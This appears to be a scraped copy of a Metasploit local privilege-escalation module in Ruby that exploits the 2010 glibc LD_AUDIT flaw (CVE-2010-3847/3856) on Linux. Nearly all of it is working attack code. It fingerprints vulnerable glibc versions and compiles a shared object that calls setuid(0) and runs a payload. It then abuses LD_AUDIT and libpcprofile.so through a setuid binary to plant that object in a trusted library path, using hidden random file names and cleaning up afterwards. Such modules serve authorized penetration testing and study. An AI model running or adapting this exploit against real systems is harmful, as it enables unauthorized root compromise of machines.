Permalink
Cannot retrieve contributors at this time
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Local | |
Rank = ExcellentRanking | |
include Msf::Post::File | |
include Msf::Exploit::EXE | |
include Msf::Exploit::FileDropper | |
include Msf::Exploit::Local::Linux | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation', | |
'Description' => %q{ | |
This module attempts to gain root privileges on Linux systems by abusing | |
a vulnerability in the GNU C Library (glibc) dynamic linker. | |
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not | |
properly restrict use of the LD_AUDIT environment variable when loading | |
setuid executables. This allows loading arbitrary shared objects from | |
the trusted library search path with the privileges of the suid user. | |
This module uses LD_AUDIT to load the libpcprofile.so shared object, | |
distributed with some versions of glibc, and leverages arbitrary file | |
creation functionality in the library constructor to write a root-owned | |
world-writable file to a system trusted search path (usually /lib). | |
The file is then overwritten with a shared object then loaded with | |
LD_AUDIT resulting in arbitrary code execution. | |
This module has been tested successfully on glibc version 2.11.1 on | |
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. | |
RHEL 5 is reportedly affected, but untested. Some glibc distributions | |
do not contain the libpcprofile.so library required for successful | |
exploitation. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Tavis Ormandy', # Discovery and exploit | |
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit | |
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits | |
'Todor Donev', # libmemusage.so exploit | |
'bcoles' # Metasploit | |
], | |
'DisclosureDate' => '2010-10-18', | |
'Platform' => 'linux', | |
'Arch' => [ ARCH_X86, ARCH_X64 ], | |
'SessionTypes' => [ 'shell', 'meterpreter' ], | |
'Targets' => | |
[ | |
[ 'Automatic', { } ], | |
[ 'Linux x86', { 'Arch' => ARCH_X86 } ], | |
[ 'Linux x64', { 'Arch' => ARCH_X64 } ] | |
], | |
'DefaultTarget' => 0, | |
'References' => | |
[ | |
[ 'CVE', '2010-3847' ], | |
[ 'CVE', '2010-3856' ], | |
[ 'BID', '44154' ], | |
[ 'BID', '44347' ], | |
[ 'EDB', '15274' ], | |
[ 'EDB', '15304' ], | |
[ 'EDB', '18105' ], | |
[ 'URL', 'https://seclists.org/fulldisclosure/2010/Oct/257' ], | |
[ 'URL', 'https://seclists.org/fulldisclosure/2010/Oct/344' ], | |
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ], | |
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ], | |
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ], | |
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ], | |
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ] | |
] | |
)) | |
register_options [ | |
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]) | |
] | |
register_advanced_options [ | |
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) | |
] | |
end | |
def base_dir | |
datastore['WritableDir'] | |
end | |
def suid_exe_path | |
datastore['SUID_EXECUTABLE'] | |
end | |
def check | |
glibc_banner = cmd_exec 'ldd --version' | |
glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first | |
if glibc_version.to_s.eql? '' | |
vprint_error 'Could not determine the GNU C library version' | |
return CheckCode::Safe | |
elsif glibc_version >= Rex::Version.new('2.12.2') || | |
(glibc_version >= Rex::Version.new('2.11.3') && glibc_version < Rex::Version.new('2.12')) | |
vprint_error "GNU C Library version #{glibc_version} is not vulnerable" | |
return CheckCode::Safe | |
end | |
vprint_good "GNU C Library version #{glibc_version} is vulnerable" | |
lib = 'libpcprofile.so' | |
@lib_dir = nil | |
vprint_status "Checking for #{lib} in system search paths" | |
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='" | |
search_paths.split('path=')[1..-1].join.split(':').each do |path| | |
lib_dir = path.to_s.strip | |
next if lib_dir.eql? '' | |
libs = cmd_exec "ls '#{lib_dir}'" | |
if libs.include? lib | |
@lib_dir = lib_dir | |
break | |
end | |
end | |
if @lib_dir.nil? | |
vprint_error "Could not find #{lib}" | |
return CheckCode::Safe | |
end | |
vprint_good "Found #{lib} in #{@lib_dir}" | |
unless setuid? suid_exe_path | |
vprint_error "#{suid_exe_path} is not setuid" | |
return CheckCode::Detected | |
end | |
vprint_good "#{suid_exe_path} is setuid" | |
CheckCode::Appears | |
end | |
def upload_and_chmodx(path, data) | |
print_status "Writing '#{path}' (#{data.size} bytes) ..." | |
rm_f path | |
write_file path, data | |
cmd_exec "chmod +x '#{path}'" | |
register_file_for_cleanup path | |
end | |
def on_new_session(client) | |
# remove root owned shared object from system load path | |
if client.type.eql? 'meterpreter' | |
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' | |
client.fs.file.rm @so_path | |
else | |
client.shell_command_token "rm #{@so_path}" | |
end | |
end | |
def exploit | |
check_status = check | |
if check_status == CheckCode::Appears | |
print_good 'The target appears to be vulnerable' | |
elsif check_status == CheckCode::Detected | |
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid" | |
else | |
fail_with Failure::NotVulnerable, 'Target is not vulnerable' | |
end | |
payload_name = ".#{rand_text_alphanumeric rand(5..10)}" | |
payload_path = "#{base_dir}/#{payload_name}" | |
# Set target | |
uname = cmd_exec 'uname -m' | |
vprint_status "System architecture is #{uname}" | |
if target.name.eql? 'Automatic' | |
case uname | |
when 'x86_64' | |
my_target = targets[2] | |
when /x86/, /i\d86/ | |
my_target = targets[1] | |
else | |
fail_with Failure::NoTarget, 'Unable to automatically select a target' | |
end | |
else | |
my_target = target | |
end | |
print_status "Using target: #{my_target.name}" | |
cpu = nil | |
case my_target['Arch'] | |
when ARCH_X86 | |
cpu = Metasm::Ia32.new | |
when ARCH_X64 | |
cpu = Metasm::X86_64.new | |
else | |
fail_with Failure::NoTarget, 'Target is not compatible' | |
end | |
# Compile shared object | |
so_stub = %| | |
extern int setuid(int); | |
extern int setgid(int); | |
extern int system(const char *__s); | |
void init(void) __attribute__((constructor)); | |
void __attribute__((constructor)) init() { | |
setuid(0); | |
setgid(0); | |
system("#{payload_path}"); | |
} | |
| | |
begin | |
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) | |
rescue | |
print_error "Metasm encoding failed: #{$ERROR_INFO}" | |
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" | |
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" | |
fail_with Failure::Unknown, 'Metasm encoding failed' | |
end | |
# Upload shared object | |
so_name = ".#{rand_text_alphanumeric rand(5..10)}" | |
so_path = "#{base_dir}/#{so_name}" | |
upload_and_chmodx so_path, so | |
# Upload exploit | |
@so_path = "#{@lib_dir}/#{so_name}.so" | |
exp = %( | |
umask 0 | |
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null | |
umask 0022 | |
cat #{so_path} > #{@so_path} | |
LD_AUDIT="#{so_name}.so" #{suid_exe_path} | |
echo > #{@so_path} | |
) | |
exp_name = ".#{rand_text_alphanumeric rand(5..10)}" | |
exp_path = "#{base_dir}/#{exp_name}" | |
upload_and_chmodx exp_path, exp | |
# Upload payload | |
upload_and_chmodx payload_path, generate_payload_exe | |
# Launch exploit | |
print_status 'Launching exploit...' | |
# The echo at the end of the command is required | |
# else the original session may die | |
output = cmd_exec "#{exp_path}& echo " | |
output.each_line { |line| vprint_status line.chomp } | |
end | |
end |